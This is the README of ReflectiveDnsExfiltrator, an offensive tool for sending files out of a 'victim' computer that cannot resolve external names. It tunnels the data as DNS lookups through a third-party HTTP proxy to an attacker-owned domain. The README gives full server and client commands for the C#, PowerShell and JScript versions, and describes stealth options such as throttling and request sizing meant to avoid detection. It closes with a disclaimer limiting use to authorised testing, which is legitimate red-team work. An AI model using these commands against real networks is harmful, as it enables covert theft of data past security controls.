ReflectiveDnsExfiltrator

Author: Arno0x0x - @Arno0x0x

ReflectiveDnsExfiltrator allows for transfering (exfiltrate) a file over a DNS resolution covert channel. This is basically a data leak testing tool allowing to exfiltrate data over a covert channel.

This tool is a sibling of my DNSExfiltrator, but it addresses the specific case of the source computer, from which you need/want to exfiltrate data, not allowed to perform DNS resolution of external domain names (which is required in order to use the DNS resolution covert channel).

The solution proposed here is to use a third party device exposing a service which will have to resolve a domain name on behalf of the source computer. The perfect, and most basic example, is to use a HTTP proxy server and feed it with some HEAD requests for all the external domain names used for exfiltrating data. It does not matter whether or not the HEAD request gets a proper HTTP response, we really don't care, as long as the proxy first has to resolve the domain name, hence allowing for data exfiltration.

ReflectiveDnsExfiltrator has two sides:

The server side, coming as a single python script (reflectiveDnsExfiltrator.py), which acts as a custom DNS server, receiving the file
The client side (victim's side), which comes in three flavors:

reflectiveDnsExfiltrator.cs: a C# script that can be compiled with csc.exe to provide a Windows managed executable
Invoke-ReflectiveDNSExfiltrator.ps1: a PowerShell script providing the exact same functionnalities by wrapping the dnsExfiltrator assembly
reflectiveDnsExfiltrator.js: a JScript script which is a conversion of the reflectiveDnsExfiltrator DLL assembly using DotNetToJScript, and providing the exact same functionnalities

In order for the whole thing to work you must own a domain name and set the DNS record (NS) for that domain to point to the server that will run the reflectiveDnsExfiltrator.py server side.

Features

DNSExfiltrator supports basic RC4 encryption of the exfiltrated data, using the provided password to encrypt/decrypt the data.

ReflectiveDnsExfiltrator also provides some optional features to avoid detection:

requests throttling in order to stay more stealthy when exfiltrating data
reduction of the DNS request size (by default it will try to use as much bytes left available in each DNS request for efficiency)
reduction of the DNS label size (by default it will try to use the longest supported label size of 63 chars)

Dependencies

The only dependency is on the server side, as the reflectiveDnsExfiltrator.py script relies on the external dnslib library. You can install it using pip:

pip install -r requirements.txt

Usage

SERVER SIDE

Start the reflectiveDnsExfiltrator.py script passing it the domain name and decryption password to be used:

root@kali:~# ./reflectiveDnsExfiltrator.py -d mydomain.com -p password

CLIENT SIDE

You can either use the compiled version, or the PowerShell wrapper (which is basically the same thing) or the JScript wrapper. In any case, the parameters are the same, with just a slight difference in the way of passing them in PowerShell.

1/ Using the C# compiled Windows executable (which you can find in the release directory):

reflectiveDnsExfiltrator.exe <file> <domainName> <password> <webProxy> [t=throttleTime] [r=requestMaxSize] [l=labelMaxSize]
      file:           [MANDATORY] The file name to the file to be exfiltrated.
      domainName:     [MANDATORY] The domain name to use for DNS requests.
      password:       [MANDATORY] Password used to encrypt the data to be exfiltrated.
      webProxy:       [MANDATORY] The proxy server to use as a reflective DNS resolution host, in the form <proxyAddess:proxyPort>.
      throttleTime:   [OPTIONNAL] The time in milliseconds to wait between each DNS request.
      requestMaxSize: [OPTIONNAL] The maximum size in bytes for each DNS request. Defaults to 255 bytes..
      labelMaxSize:   [OPTIONNAL] The maximum size in chars for each DNS request label (subdomain). Defaults to 63 chars.

2/ Using the PowerShell script, well, call it in any of your prefered way (you probably know tons of ways of invoking a powershell script) along with the script parameters. Most basic example:

c:\ReflectiveDNSExfiltrator> powershell
PS c:\ReflectiveDNSExfiltrator> Import-Module .\Invoke-ReflectiveDNSExfiltrator.ps1
PS c:\ReflectiveDNSExfiltrator> Invoke-ReflectiveDNSExfiltrator -i inputFile -d mydomain.com -p password -s proxyServer:proxyPort -t 500
[...]

Check the EXAMPLES section in the script file for further usage examples.

3/ Using the JScript script, pass it the exact same arguments as you would with the standalone Windows executable:

cscript.exe reflectiveDnsExfiltrator.js inputFile mydomain.com password proxyServer:proxyPort

Or, with some options:

cscript.exe reflectiveDnsExfiltrator.js inputFile mydomain.com password proxyServer:proxyPort t=500

TODO

Some will ask for AES encryption instead of RC4, I know... might add it later
Display estimated transfer time
Do better argument parsing (I'm too lazy to learn how to use a c# argument parsing library, I wish it was as simple as Python)

DISCLAIMER

This tool is intended to be used in a legal and legitimate way only:

either on your own systems as a means of learning, of demonstrating what can be done and how, or testing your defense and detection mechanisms
on systems you've been officially and legitimately entitled to perform some security assessments (pentest, security audits)